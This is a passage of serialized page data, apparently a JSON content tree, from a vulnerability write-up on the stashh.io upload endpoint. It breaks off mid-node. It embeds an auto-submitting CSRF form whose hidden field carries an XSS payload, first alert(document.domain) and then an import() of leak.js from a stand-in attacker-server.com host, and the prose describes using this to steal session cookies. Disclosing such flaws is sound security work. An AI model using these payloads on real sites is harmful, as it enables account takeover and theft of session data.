\u003C",{"type":24,"tag":158,"props":33658,"children":33659},{"style":165},[33660],{"type":29,"value":33661},"body",{"type":24,"tag":158,"props":33663,"children":33664},{"style":33637},[33665],{"type":29,"value":7642},{"type":24,"tag":158,"props":33667,"children":33668},{"class":160,"line":238},[33669,33673,33678,33682,33687,33692,33696],{"type":24,"tag":158,"props":33670,"children":33671},{"style":33637},[33672],{"type":29,"value":33656},{"type":24,"tag":158,"props":33674,"children":33675},{"style":165},[33676],{"type":29,"value":33677},"script",{"type":24,"tag":158,"props":33679,"children":33680},{"style":33637},[33681],{"type":29,"value":1280},{"type":24,"tag":158,"props":33683,"children":33684},{"style":188},[33685],{"type":29,"value":33686},"history.pushState('', '', '/')",{"type":24,"tag":158,"props":33688,"children":33689},{"style":33637},[33690],{"type":29,"value":33691},"\u003C/",{"type":24,"tag":158,"props":33693,"children":33694},{"style":165},[33695],{"type":29,"value":33677},{"type":24,"tag":158,"props":33697,"children":33698},{"style":33637},[33699],{"type":29,"value":7642},{"type":24,"tag":158,"props":33701,"children":33702},{"class":160,"line":259},[33703,33708,33713,33718,33722,33727,33732,33736,33741,33745,33749,33754,33759,33763,33768,33773,33777,33782],{"type":24,"tag":158,"props":33704,"children":33705},{"style":33637},[33706],{"type":29,"value":33707}," \u003C",{"type":24,"tag":158,"props":33709,"children":33710},{"style":165},[33711],{"type":29,"value":33712},"form",{"type":24,"tag":158,"props":33714,"children":33715},{"style":177},[33716],{"type":29,"value":33717}," id",{"type":24,"tag":158,"props":33719,"children":33720},{"style":222},[33721],{"type":29,"value":1285},{"type":24,"tag":158,"props":33723,"children":33724},{"style":1108},[33725],{"type":29,"value":33726},"\"form123\"",{"type":24,"tag":158,"props":33728,"children":33729},{"style":177},[33730],{"type":29,"value":33731}," action",{"type":24,"tag":158,"props":33733,"children":33734},{"style":222},[33735],{"type":29,"value":1285},{"type":24,"tag":158,"props":33737,"children":33738},{"style":1108},[33739],{"type":29,"value":33740},"\"https://stashh.io/upload_asset\"",{"type":24,"tag":158,"props":33742,"children":33743},{"style":177},[33744],{"type":29,"value":18348},{"type":24,"tag":158,"props":33746,"children":33747},{"style":222},[33748],{"type":29,"value":1285},{"type":24,"tag":158,"props":33750,"children":33751},{"style":1108},[33752],{"type":29,"value":33753},"\"POST\"",{"type":24,"tag":158,"props":33755,"children":33756},{"style":177},[33757],{"type":29,"value":33758}," enctype",{"type":24,"tag":158,"props":33760,"children":33761},{"style":222},[33762],{"type":29,"value":1285},{"type":24,"tag":158,"props":33764,"children":33765},{"style":1108},[33766],{"type":29,"value":33767},"\"multipart/form-data\"",{"type":24,"tag":158,"props":33769,"children":33770},{"style":177},[33771],{"type":29,"value":33772}," value",{"type":24,"tag":158,"props":33774,"children":33775},{"style":222},[33776],{"type":29,"value":1285},{"type":24,"tag":158,"props":33778,"children":33779},{"style":1108},[33780],{"type":29,"value":33781},"\"asd\"",{"type":24,"tag":158,"props":33783,"children":33784},{"style":33637},[33785],{"type":29,"value":7642},{"type":24,"tag":158,"props":33787,"children":33788},{"class":160,"line":280},[33789,33794,33798,33803,33807,33812,33817,33821,33826,33830,33834,33839],{"type":24,"tag":158,"props":33790,"children":33791},{"style":33637},[33792],{"type":29,"value":33793}," \u003C",{"type":24,"tag":158,"props":33795,"children":33796},{"style":165},[33797],{"type":29,"value":2217},{"type":24,"tag":158,"props":33799,"children":33800},{"style":177},[33801],{"type":29,"value":33802}," type",{"type":24,"tag":158,"props":33804,"children":33805},{"style":222},[33806],{"type":29,"value":1285},{"type":24,"tag":158,"props":33808,"children":33809},{"style":1108},[33810],{"type":29,"value":33811},"\"file\"",{"type":24,"tag":158,"props":33813,"children":33814},{"style":177},[33815],{"type":29,"value":33816}," name",{"type":24,"tag":158,"props":33818,"children":33819},{"style":222},[33820],{"type":29,"value":1285},{"type":24,"tag":158,"props":33822,"children":33823},{"style":1108},[33824],{"type":29,"value":33825},"\"data\"",{"type":24,"tag":158,"props":33827,"children":33828},{"style":177},[33829],{"type":29,"value":33717},{"type":24,"tag":158,"props":33831,"children":33832},{"style":222},[33833],{"type":29,"value":1285},{"type":24,"tag":158,"props":33835,"children":33836},{"style":1108},[33837],{"type":29,"value":33838},"\"file123\"",{"type":24,"tag":158,"props":33840,"children":33841},{"style":33637},[33842],{"type":29,"value":7642},{"type":24,"tag":158,"props":33844,"children":33845},{"class":160,"line":301},[33846,33851,33855,33859,33863,33868,33872,33876,33881,33885,33889,33893,33898,33903,33908,33913,33918,33922,33927,33932,33937,33941,33946,33951,33955,33960,33965,33970,33975,33980,33985,33990,33994,33999,34004,34009,34014,34019,34023,34028,34033,34037],{"type":24,"tag":158,"props":33847,"children":33848},{"style":33637},[33849],{"type":29,"value":33850}," \u003C",{"type":24,"tag":158,"props":33852,"children":33853},{"style":165},[33854],{"type":29,"value":2217},{"type":24,"tag":158,"props":33856,"children":33857},{"style":177},[33858],{"type":29,"value":33802},{"type":24,"tag":158,"props":33860,"children":33861},{"style":222},[33862],{"type":29,"value":1285},{"type":24,"tag":158,"props":33864,"children":33865},{"style":1108},[33866],{"type":29,"value":33867},"\"hidden\"",{"type":24,"tag":158,"props":33869,"children":33870},{"style":177},[33871],{"type":29,"value":33816},{"type":24,"tag":158,"props":33873,"children":33874},{"style":222},[33875],{"type":29,"value":1285},{"type":24,"tag":158,"props":33877,"children":33878},{"style":1108},[33879],{"type":29,"value":33880},"\"config\"",{"type":24,"tag":158,"props":33882,"children":33883},{"style":177},[33884],{"type":29,"value":33772},{"type":24,"tag":158,"props":33886,"children":33887},{"style":222},[33888],{"type":29,"value":1285},{"type":24,"tag":158,"props":33890,"children":33891},{"style":1108},[33892],{"type":29,"value":21303},{"type":24,"tag":158,"props":33894,"children":33895},{"style":165},[33896],{"type":29,"value":33897},"{"",{"type":24,"tag":158,"props":33899,"children":33900},{"style":1108},[33901],{"type":29,"value":33902},"address",{"type":24,"tag":158,"props":33904,"children":33905},{"style":165},[33906],{"type":29,"value":33907},"":"",{"type":24,"tag":158,"props":33909,"children":33910},{"style":1108},[33911],{"type":29,"value":33912},"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq",{"type":24,"tag":158,"props":33914,"children":33915},{"style":165},[33916],{"type":29,"value":33917},"<",{"type":24,"tag":158,"props":33919,"children":33920},{"style":1108},[33921],{"type":29,"value":84},{"type":24,"tag":158,"props":33923,"children":33924},{"style":165},[33925],{"type":29,"value":33926},"/",{"type":24,"tag":158,"props":33928,"children":33929},{"style":1108},[33930],{"type":29,"value":33931},"src",{"type":24,"tag":158,"props":33933,"children":33934},{"style":165},[33935],{"type":29,"value":33936},"=",{"type":24,"tag":158,"props":33938,"children":33939},{"style":1108},[33940],{"type":29,"value":20518},{"type":24,"tag":158,"props":33942,"children":33943},{"style":165},[33944],{"type":29,"value":33945}," ",{"type":24,"tag":158,"props":33947,"children":33948},{"style":1108},[33949],{"type":29,"value":33950},"onerror",{"type":24,"tag":158,"props":33952,"children":33953},{"style":165},[33954],{"type":29,"value":33936},{"type":24,"tag":158,"props":33956,"children":33957},{"style":1108},[33958],{"type":29,"value":33959},"alert",{"type":24,"tag":158,"props":33961,"children":33962},{"style":165},[33963],{"type":29,"value":33964},"(",{"type":24,"tag":158,"props":33966,"children":33967},{"style":1108},[33968],{"type":29,"value":33969},"document",{"type":24,"tag":158,"props":33971,"children":33972},{"style":165},[33973],{"type":29,"value":33974},".",{"type":24,"tag":158,"props":33976,"children":33977},{"style":1108},[33978],{"type":29,"value":33979},"domain",{"type":24,"tag":158,"props":33981,"children":33982},{"style":165},[33983],{"type":29,"value":33984},")>","",{"type":24,"tag":158,"props":33986,"children":33987},{"style":1108},[33988],{"type":29,"value":33989},"to",{"type":24,"tag":158,"props":33991,"children":33992},{"style":165},[33993],{"type":29,"value":33907},{"type":24,"tag":158,"props":33995,"children":33996},{"style":1108},[33997],{"type":29,"value":33998},"profile",{"type":24,"tag":158,"props":34000,"children":34001},{"style":165},[34002],{"type":29,"value":34003},"-",{"type":24,"tag":158,"props":34005,"children":34006},{"style":1108},[34007],{"type":29,"value":34008},"assets",{"type":24,"tag":158,"props":34010,"children":34011},{"style":165},[34012],{"type":29,"value":34013},"","",{"type":24,"tag":158,"props":34015,"children":34016},{"style":1108},[34017],{"type":29,"value":34018},"type",{"type":24,"tag":158,"props":34020,"children":34021},{"style":165},[34022],{"type":29,"value":33907},{"type":24,"tag":158,"props":34024,"children":34025},{"style":1108},[34026],{"type":29,"value":34027},"icon",{"type":24,"tag":158,"props":34029,"children":34030},{"style":165},[34031],{"type":29,"value":34032},""}",{"type":24,"tag":158,"props":34034,"children":34035},{"style":1108},[34036],{"type":29,"value":21303},{"type":24,"tag":158,"props":34038,"children":34039},{"style":33637},[34040],{"type":29,"value":34041}," />\n",{"type":24,"tag":158,"props":34043,"children":34044},{"class":160,"line":626},[34045,34049,34053,34057,34061,34066,34070,34074,34079],{"type":24,"tag":158,"props":34046,"children":34047},{"style":33637},[34048],{"type":29,"value":33850},{"type":24,"tag":158,"props":34050,"children":34051},{"style":165},[34052],{"type":29,"value":2217},{"type":24,"tag":158,"props":34054,"children":34055},{"style":177},[34056],{"type":29,"value":33802},{"type":24,"tag":158,"props":34058,"children":34059},{"style":222},[34060],{"type":29,"value":1285},{"type":24,"tag":158,"props":34062,"children":34063},{"style":1108},[34064],{"type":29,"value":34065},"\"submit\"",{"type":24,"tag":158,"props":34067,"children":34068},{"style":177},[34069],{"type":29,"value":33772},{"type":24,"tag":158,"props":34071,"children":34072},{"style":222},[34073],{"type":29,"value":1285},{"type":24,"tag":158,"props":34075,"children":34076},{"style":1108},[34077],{"type":29,"value":34078},"\"Submit request\"",{"type":24,"tag":158,"props":34080,"children":34081},{"style":33637},[34082],{"type":29,"value":34041},{"type":24,"tag":158,"props":34084,"children":34085},{"class":160,"line":668},[34086,34091,34095],{"type":24,"tag":158,"props":34087,"children":34088},{"style":33637},[34089],{"type":29,"value":34090}," \u003C/",{"type":24,"tag":158,"props":34092,"children":34093},{"style":165},[34094],{"type":29,"value":33712},{"type":24,"tag":158,"props":34096,"children":34097},{"style":33637},[34098],{"type":29,"value":7642},{"type":24,"tag":158,"props":34100,"children":34101},{"class":160,"line":676},[34102,34107,34111],{"type":24,"tag":158,"props":34103,"children":34104},{"style":33637},[34105],{"type":29,"value":34106}," \u003C/",{"type":24,"tag":158,"props":34108,"children":34109},{"style":165},[34110],{"type":29,"value":33661},{"type":24,"tag":158,"props":34112,"children":34113},{"style":33637},[34114],{"type":29,"value":7642},{"type":24,"tag":158,"props":34116,"children":34117},{"class":160,"line":684},[34118],{"type":24,"tag":158,"props":34119,"children":34120},{"emptyLinePlaceholder":16},[34121],{"type":29,"value":481},{"type":24,"tag":158,"props":34123,"children":34124},{"class":160,"line":700},[34125,34129,34133],{"type":24,"tag":158,"props":34126,"children":34127},{"style":33637},[34128],{"type":29,"value":33656},{"type":24,"tag":158,"props":34130,"children":34131},{"style":165},[34132],{"type":29,"value":33677},{"type":24,"tag":158,"props":34134,"children":34135},{"style":33637},[34136],{"type":29,"value":7642},{"type":24,"tag":158,"props":34138,"children":34139},{"class":160,"line":785},[34140],{"type":24,"tag":158,"props":34141,"children":34142},{"emptyLinePlaceholder":16},[34143],{"type":29,"value":481},{"type":24,"tag":158,"props":34145,"children":34146},{"class":160,"line":1447},[34147,34152],{"type":24,"tag":158,"props":34148,"children":34149},{"style":188},[34150],{"type":29,"value":34151}," (async ()=>",{"type":24,"tag":158,"props":34153,"children":34154},{"style":165},[34155],{"type":29,"value":1710},{"type":24,"tag":158,"props":34157,"children":34158},{"class":160,"line":1509},[34159,34164,34169,34174,34179,34183,34187,34192,34196,34201,34206,34211],{"type":24,"tag":158,"props":34160,"children":34161},{"style":177},[34162],{"type":29,"value":34163}," const",{"type":24,"tag":158,"props":34165,"children":34166},{"style":177},[34167],{"type":29,"value":34168}," blob",{"type":24,"tag":158,"props":34170,"children":34171},{"style":222},[34172],{"type":29,"value":34173}," = ",{"type":24,"tag":158,"props":34175,"children":34176},{"style":1914},[34177],{"type":29,"value":34178},"await",{"type":24,"tag":158,"props":34180,"children":34181},{"style":222},[34182],{"type":29,"value":2262},{"type":24,"tag":158,"props":34184,"children":34185},{"style":1914},[34186],{"type":29,"value":34178},{"type":24,"tag":158,"props":34188,"children":34189},{"style":496},[34190],{"type":29,"value":34191}," fetch",{"type":24,"tag":158,"props":34193,"children":34194},{"style":222},[34195],{"type":29,"value":504},{"type":24,"tag":158,"props":34197,"children":34198},{"style":1108},[34199],{"type":29,"value":34200},"\"/sapo.png\"",{"type":24,"tag":158,"props":34202,"children":34203},{"style":222},[34204],{"type":29,"value":34205},")).",{"type":24,"tag":158,"props":34207,"children":34208},{"style":496},[34209],{"type":29,"value":34210},"blob",{"type":24,"tag":158,"props":34212,"children":34213},{"style":222},[34214],{"type":29,"value":9376},{"type":24,"tag":158,"props":34216,"children":34217},{"class":160,"line":1527},[34218],{"type":24,"tag":158,"props":34219,"children":34220},{"emptyLinePlaceholder":16},[34221],{"type":29,"value":481},{"type":24,"tag":158,"props":34223,"children":34224},{"class":160,"line":1545},[34225,34229,34234,34238,34242,34247,34252,34256,34260,34265,34270,34275,34280],{"type":24,"tag":158,"props":34226,"children":34227},{"style":177},[34228],{"type":29,"value":4732},{"type":24,"tag":158,"props":34230,"children":34231},{"style":177},[34232],{"type":29,"value":34233}," f",{"type":24,"tag":158,"props":34235,"children":34236},{"style":222},[34237],{"type":29,"value":34173},{"type":24,"tag":158,"props":34239,"children":34240},{"style":165},[34241],{"type":29,"value":16357},{"type":24,"tag":158,"props":34243,"children":34244},{"style":496},[34245],{"type":29,"value":34246}," File",{"type":24,"tag":158,"props":34248,"children":34249},{"style":222},[34250],{"type":29,"value":34251},"([",{"type":24,"tag":158,"props":34253,"children":34254},{"style":177},[34255],{"type":29,"value":34210},{"type":24,"tag":158,"props":34257,"children":34258},{"style":222},[34259],{"type":29,"value":24305},{"type":24,"tag":158,"props":34261,"children":34262},{"style":1108},[34263],{"type":29,"value":34264},"'sapo.png'",{"type":24,"tag":158,"props":34266,"children":34267},{"style":222},[34268],{"type":29,"value":34269},", {",{"type":24,"tag":158,"props":34271,"children":34272},{"style":177},[34273],{"type":29,"value":34274},"type:",{"type":24,"tag":158,"props":34276,"children":34277},{"style":1108},[34278],{"type":29,"value":34279}," 'image/png'",{"type":24,"tag":158,"props":34281,"children":34282},{"style":222},[34283],{"type":29,"value":34284},"})\n",{"type":24,"tag":158,"props":34286,"children":34287},{"class":160,"line":1618},[34288,34292,34297,34301,34305,34310],{"type":24,"tag":158,"props":34289,"children":34290},{"style":177},[34291],{"type":29,"value":34163},{"type":24,"tag":158,"props":34293,"children":34294},{"style":177},[34295],{"type":29,"value":34296}," dataTransfer",{"type":24,"tag":158,"props":34298,"children":34299},{"style":222},[34300],{"type":29,"value":34173},{"type":24,"tag":158,"props":34302,"children":34303},{"style":165},[34304],{"type":29,"value":16357},{"type":24,"tag":158,"props":34306,"children":34307},{"style":496},[34308],{"type":29,"value":34309}," DataTransfer",{"type":24,"tag":158,"props":34311,"children":34312},{"style":222},[34313],{"type":29,"value":5329},{"type":24,"tag":158,"props":34315,"children":34316},{"class":160,"line":1635},[34317,34322,34326,34331,34335,34339,34343,34348],{"type":24,"tag":158,"props":34318,"children":34319},{"style":177},[34320],{"type":29,"value":34321}," dataTransfer",{"type":24,"tag":158,"props":34323,"children":34324},{"style":222},[34325],{"type":29,"value":347},{"type":24,"tag":158,"props":34327,"children":34328},{"style":177},[34329],{"type":29,"value":34330},"items",{"type":24,"tag":158,"props":34332,"children":34333},{"style":222},[34334],{"type":29,"value":347},{"type":24,"tag":158,"props":34336,"children":34337},{"style":496},[34338],{"type":29,"value":426},{"type":24,"tag":158,"props":34340,"children":34341},{"style":222},[34342],{"type":29,"value":504},{"type":24,"tag":158,"props":34344,"children":34345},{"style":177},[34346],{"type":29,"value":34347},"f",{"type":24,"tag":158,"props":34349,"children":34350},{"style":222},[34351],{"type":29,"value":1071},{"type":24,"tag":158,"props":34353,"children":34354},{"class":160,"line":1644},[34355],{"type":24,"tag":158,"props":34356,"children":34357},{"emptyLinePlaceholder":16},[34358],{"type":29,"value":481},{"type":24,"tag":158,"props":34360,"children":34361},{"class":160,"line":1652},[34362,34367,34371,34376,34380,34385,34389,34393],{"type":24,"tag":158,"props":34363,"children":34364},{"style":177},[34365],{"type":29,"value":34366}," file123",{"type":24,"tag":158,"props":34368,"children":34369},{"style":222},[34370],{"type":29,"value":347},{"type":24,"tag":158,"props":34372,"children":34373},{"style":177},[34374],{"type":29,"value":34375},"files",{"type":24,"tag":158,"props":34377,"children":34378},{"style":222},[34379],{"type":29,"value":34173},{"type":24,"tag":158,"props":34381,"children":34382},{"style":177},[34383],{"type":29,"value":34384},"dataTransfer",{"type":24,"tag":158,"props":34386,"children":34387},{"style":222},[34388],{"type":29,"value":347},{"type":24,"tag":158,"props":34390,"children":34391},{"style":177},[34392],{"type":29,"value":34375},{"type":24,"tag":158,"props":34394,"children":34395},{"style":222},[34396],{"type":29,"value":473},{"type":24,"tag":158,"props":34398,"children":34399},{"class":160,"line":1704},[34400,34405],{"type":24,"tag":158,"props":34401,"children":34402},{"style":165},[34403],{"type":29,"value":34404}," }",{"type":24,"tag":158,"props":34406,"children":34407},{"style":188},[34408],{"type":29,"value":34409},")()\n",{"type":24,"tag":158,"props":34411,"children":34412},{"class":160,"line":1713},[34413],{"type":24,"tag":158,"props":34414,"children":34415},{"emptyLinePlaceholder":16},[34416],{"type":29,"value":481},{"type":24,"tag":158,"props":34418,"children":34419},{"class":160,"line":1731},[34420,34424,34428],{"type":24,"tag":158,"props":34421,"children":34422},{"style":33637},[34423],{"type":29,"value":34106},{"type":24,"tag":158,"props":34425,"children":34426},{"style":165},[34427],{"type":29,"value":33677},{"type":24,"tag":158,"props":34429,"children":34430},{"style":33637},[34431],{"type":29,"value":7642},{"type":24,"tag":158,"props":34433,"children":34434},{"class":160,"line":5485},[34435,34439,34443],{"type":24,"tag":158,"props":34436,"children":34437},{"style":33637},[34438],{"type":29,"value":33691},{"type":24,"tag":158,"props":34440,"children":34441},{"style":165},[34442],{"type":29,"value":33644},{"type":24,"tag":158,"props":34444,"children":34445},{"style":33637},[34446],{"type":29,"value":7642},{"type":24,"tag":25,"props":34448,"children":34449},{},[34450],{"type":29,"value":34451},"When playing around with the application, we discovered that if an invalid address was submitted, the user's input would be reflected directly inside the response, another possible XSS vulnerability.",{"type":24,"tag":25,"props":34453,"children":34454},{},[34455],{"type":29,"value":34456},"However, since the request was a POST request, we initially thought this was only a self-XSS.",{"type":24,"tag":25,"props":34458,"children":34459},{},[34460],{"type":29,"value":34461},"In an effort to increase the impact of the above vulnerability, we discovered a way to leverage Cross-Site Request Forgery (CSRF) to manipulate the user's browser into sending a forced request that contained our XSS payload.",{"type":24,"tag":25,"props":34463,"children":34464},{},[34465],{"type":29,"value":34466},"From here, we were able to steal the session cookie from local storage.",{"type":24,"tag":147,"props":34468,"children":34470},{"className":32624,"code":34469,"language":32626,"meta":7,"style":7},"\u003Chtml>\n \u003Cbody>\n \u003Cscript>history.pushState('', '', '/')\u003C/script>\n \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"<img/src=x onerror=import(`https://attacker-server.com/leak.js`)>","to":"profile-assets","type":"icon"}\" />\n \u003Cinput type=\"submit\" value=\"Submit request\" />\n \u003C/form>\n \u003C/body>\n\n \u003Cscript>\n\n (async ()=>{\n const blob = await (await fetch(\"/sapo.png\")).blob()\n\n let f = new File([blob], 'sapo.png', {type: 'image/png'})\n const dataTransfer = new DataTransfer();\n dataTransfer.items.add(f);\n\n file123.files = dataTransfer.files;\n\n form123.submit()\n })()\n\n \u003C/script>\n\u003C/html>\n",[34471],{"type":24,"tag":154,"props":34472,"children":34473},{"__ignoreMap":7},[34474,34489,34504,34535,34610,34661,34849,34888,34903,34918,34925,34940,34947,34958,35009,35016,35071,35098,35133,35140,35175,35182,35203,35214,35221,35236],{"type":24,"tag":158,"props":34475,"children":34476},{"class":160,"line":161},[34477,34481,34485],{"type":24,"tag":158,"props":34478,"children":34479},{"style":33637},[34480],{"type":29,"value":3760},{"type":24,"tag":158,"props":34482,"children":34483},{"style":165},[34484],{"type":29,"value":33644},{"type":24,"tag":158,"props":34486,"children":34487},{"style":33637},[34488],{"type":29,"value":7642},{"type":24,"tag":158,"props":34490,"children":34491},{"class":160,"line":213},[34492,34496,34500],{"type":24,"tag":158,"props":34493,"children":34494},{"style":33637},[34495],{"type":29,"value":33656},{"type":24,"tag":158,"props":34497,"children":34498},{"style":165},[34499],{"type":29,"value":33661},{"type":24,"tag":158,"props":34501,"children":34502},{"style":33637},[34503],{"type":29,"value":7642},{"type":24,"tag":158,"props":34505,"children":34506},{"class":160,"line":238},[34507,34511,34515,34519,34523,34527,34531],{"type":24,"tag":158,"props":34508,"children":34509},{"style":33637},[34510],{"type":29,"value":33656},{"type":24,"tag":158,"props":34512,"children":34513},{"style":165},[34514],{"type":29,"value":33677},{"type":24,"tag":158,"props":34516,"children":34517},{"style":33637},[34518],{"type":29,"value":1280},{"type":24,"tag":158,"props":34520,"children":34521},{"style":188},[34522],{"type":29,"value":33686},{"type":24,"tag":158,"props":34524,"children":34525},{"style":33637},[34526],{"type":29,"value":33691},{"type":24,"tag":158,"props":34528,"children":34529},{"style":165},[34530],{"type":29,"value":33677},{"type":24,"tag":158,"props":34532,"children":34533},{"style":33637},[34534],{"type":29,"value":7642},{"type":24,"tag":158,"props":34536,"children":34537},{"class":160,"line":259},[34538,34542,34546,34550,34554,34558,34562,34566,34570,34574,34578,34582,34586,34590,34594,34598,34602,34606],{"type":24,"tag":158,"props":34539,"children":34540},{"style":33637},[34541],{"type":29,"value":33707},{"type":24,"tag":158,"props":34543,"children":34544},{"style":165},[34545],{"type":29,"value":33712},{"type":24,"tag":158,"props":34547,"children":34548},{"style":177},[34549],{"type":29,"value":33717},{"type":24,"tag":158,"props":34551,"children":34552},{"style":222},[34553],{"type":29,"value":1285},{"type":24,"tag":158,"props":34555,"children":34556},{"style":1108},[34557],{"type":29,"value":33726},{"type":24,"tag":158,"props":34559,"children":34560},{"style":177},[34561],{"type":29,"value":33731},{"type":24,"tag":158,"props":34563,"children":34564},{"style":222},[34565],{"type":29,"value":1285},{"type":24,"tag":158,"props":34567,"children":34568},{"style":1108},[34569],{"type":29,"value":33740},{"type":24,"tag":158,"props":34571,"children":34572},{"style":177},[34573],{"type":29,"value":18348},{"type":24,"tag":158,"props":34575,"children":34576},{"style":222},[34577],{"type":29,"value":1285},{"type":24,"tag":158,"props":34579,"children":34580},{"style":1108},[34581],{"type":29,"value":33753},{"type":24,"tag":158,"props":34583,"children":34584},{"style":177},[34585],{"type":29,"value":33758},{"type":24,"tag":158,"props":34587,"children":34588},{"style":222},[34589],{"type":29,"value":1285},{"type":24,"tag":158,"props":34591,"children":34592},{"style":1108},[34593],{"type":29,"value":33767},{"type":24,"tag":158,"props":34595,"children":34596},{"style":177},[34597],{"type":29,"value":33772},{"type":24,"tag":158,"props":34599,"children":34600},{"style":222},[34601],{"type":29,"value":1285},{"type":24,"tag":158,"props":34603,"children":34604},{"style":1108},[34605],{"type":29,"value":33781},{"type":24,"tag":158,"props":34607,"children":34608},{"style":33637},[34609],{"type":29,"value":7642},{"type":24,"tag":158,"props":34611,"children":34612},{"class":160,"line":280},[34613,34617,34621,34625,34629,34633,34637,34641,34645,34649,34653,34657],{"type":24,"tag":158,"props":34614,"children":34615},{"style":33637},[34616],{"type":29,"value":33793},{"type":24,"tag":158,"props":34618,"children":34619},{"style":165},[34620],{"type":29,"value":2217},{"type":24,"tag":158,"props":34622,"children":34623},{"style":177},[34624],{"type":29,"value":33802},{"type":24,"tag":158,"props":34626,"children":34627},{"style":222},[34628],{"type":29,"value":1285},{"type":24,"tag":158,"props":34630,"children":34631},{"style":1108},[34632],{"type":29,"value":33811},{"type":24,"tag":158,"props":34634,"children":34635},{"style":177},[34636],{"type":29,"value":33816},{"type":24,"tag":158,"props":34638,"children":34639},{"style":222},[34640],{"type":29,"value":1285},{"type":24,"tag":158,"props":34642,"children":34643},{"style":1108},[34644],{"type":29,"value":33825},{"type":24,"tag":158,"props":34646,"children":34647},{"style":177},[34648],{"type":29,"value":33717},{"type":24,"tag":158,"props":34650,"children":34651},{"style":222},[34652],{"type":29,"value":1285},{"type":24,"tag":158,"props":34654,"children":34655},{"style":1108},[34656],{"type":29,"value":33838},{"type":24,"tag":158,"props":34658,"children":34659},{"style":33637},[34660],{"type":29,"value":7642},{"type":24,"tag":158,"props":34662,"children":34663},{"class":160,"line":301},[34664,34668,34672,34676,34680,34684,34688,34692,34696,34700,34704,34708,34713,34717,34722,34726,34731,34735,34740,34745,34749,34753,34758,34763,34768,34773,34778,34783,34787,34792,34796,34800,34805,34809,34814,34819,34824,34828,34832,34836,34841,34845],{"type":24,"tag":158,"props":34665,"children":34666},{"style":33637},[34667],{"type":29,"value":33850},{"type":24,"tag":158,"props":34669,"children":34670},{"style":165},[34671],{"type":29,"value":2217},{"type":24,"tag":158,"props":34673,"children":34674},{"style":177},[34675],{"type":29,"value":33802},{"type":24,"tag":158,"props":34677,"children":34678},{"style":222},[34679],{"type":29,"value":1285},{"type":24,"tag":158,"props":34681,"children":34682},{"style":1108},[34683],{"type":29,"value":33867},{"type":24,"tag":158,"props":34685,"children":34686},{"style":177},[34687],{"type":29,"value":33816},{"type":24,"tag":158,"props":34689,"children":34690},{"style":222},[34691],{"type":29,"value":1285},{"type":24,"tag":158,"props":34693,"children":34694},{"style":1108},[34695],{"type":29,"value":33880},{"type":24,"tag":158,"props":34697,"children":34698},{"style":177},[34699],{"type":29,"value":33772},{"type":24,"tag":158,"props":34701,"children":34702},{"style":222},[34703],{"type":29,"value":1285},{"type":24,"tag":158,"props":34705,"children":34706},{"style":1108},[34707],{"type":29,"value":21303},{"type":24,"tag":158,"props":34709,"children":34710},{"style":165},[34711],{"type":29,"value":34712},"{"",{"type":24,"tag":158,"props":34714,"children":34715},{"style":1108},[34716],{"type":29,"value":33902},{"type":24,"tag":158,"props":34718,"children":34719},{"style":165},[34720],{"type":29,"value":34721},"":"<",{"type":24,"tag":158,"props":34723,"children":34724},{"style":1108},[34725],{"type":29,"value":84},{"type":24,"tag":158,"props":34727,"children":34728},{"style":165},[34729],{"type":29,"value":34730},"/",{"type":24,"tag":158,"props":34732,"children":34733},{"style":1108},[34734],{"type":29,"value":33931},{"type":24,"tag":158,"props":34736,"children":34737},{"style":165},[34738],{"type":29,"value":34739},"=",{"type":24,"tag":158,"props":34741,"children":34742},{"style":1108},[34743],{"type":29,"value":34744},"x onerror",{"type":24,"tag":158,"props":34746,"children":34747},{"style":165},[34748],{"type":29,"value":34739},{"type":24,"tag":158,"props":34750,"children":34751},{"style":1108},[34752],{"type":29,"value":20726},{"type":24,"tag":158,"props":34754,"children":34755},{"style":165},[34756],{"type":29,"value":34757},"(`",{"type":24,"tag":158,"props":34759,"children":34760},{"style":1108},[34761],{"type":29,"value":34762},"https",{"type":24,"tag":158,"props":34764,"children":34765},{"style":165},[34766],{"type":29,"value":34767},"://",{"type":24,"tag":158,"props":34769,"children":34770},{"style":1108},[34771],{"type":29,"value":34772},"attacker-server",{"type":24,"tag":158,"props":34774,"children":34775},{"style":165},[34776],{"type":29,"value":34777},".",{"type":24,"tag":158,"props":34779,"children":34780},{"style":1108},[34781],{"type":29,"value":34782},"com",{"type":24,"tag":158,"props":34784,"children":34785},{"style":165},[34786],{"type":29,"value":34730},{"type":24,"tag":158,"props":34788,"children":34789},{"style":1108},[34790],{"type":29,"value":34791},"leak",{"type":24,"tag":158,"props":34793,"children":34794},{"style":165},[34795],{"type":29,"value":34777},{"type":24,"tag":158,"props":34797,"children":34798},{"style":1108},[34799],{"type":29,"value":32626},{"type":24,"tag":158,"props":34801,"children":34802},{"style":165},[34803],{"type":29,"value":34804},"`)>","",{"type":24,"tag":158,"props":34806,"children":34807},{"style":1108},[34808],{"type":29,"value":33989},{"type":24,"tag":158,"props":34810,"children":34811},{"style":165},[34812],{"type":29,"value":34813},"":"",{"type":24,"tag":158,"props":34815,"children":34816},{"style":1108},[34817],{"type":29,"value":34818},"profile-assets",{"type":24,"tag":158,"props":34820,"children":34821},{"style":165},[34822],{"type":29,"value":34823},"","",{"type":24,"tag":158,"props":34825,"children":34826},{"style":1108},[34827],{"type":29,"value":34018},{"type":24,"tag":158,"props":34829,"children":34830},{"style":165},[34831],{"type":29,"value":34813},{"type":24,"tag":158,"props":34833,"children":34834},{"style":1108},[34835],{"type":29,"value":34027},{"type":24,"tag":158,"props":34837,"children":34838},{"style":165},[34839],{"type":29,"value":34840},""}",{"type":24,"tag":158,"props":34842,"children":34843},{"style":1108},[34844],{"type":29,"value":21303},{"type":24,"tag":158,"props":34846,"children":34847},{"style":33637},[34848],{"type":29,"value":34041},{"type":24,"tag":158,"props":34850,"children":34851},{"class":160,"line":626},[34852,34856,34860,34864,34868,34872,34876,34880,34884],{"type":24,"tag":158,"props":34853,"children":34854},{"style":33637},[34855],{"type":29,"value":33850},{"type":24,"tag":158,"props":34857,"children":34858},{"style":165},[34859],{"type":29,"value":2217},{"type":24,"tag":158,"props":34861,"children":34862},{"style":177},[34863],{"type":29,"value":33802},{"type":24,"tag":158,"props":34865,"children":34866},{"style":222},[34867],{"type":29,"value":1285},{"type":24,"tag":158,"props":34869,"children":34870},{"style":1108},[34871],{"type":29,"value":34065},{"type":24,"tag":158,"props":3487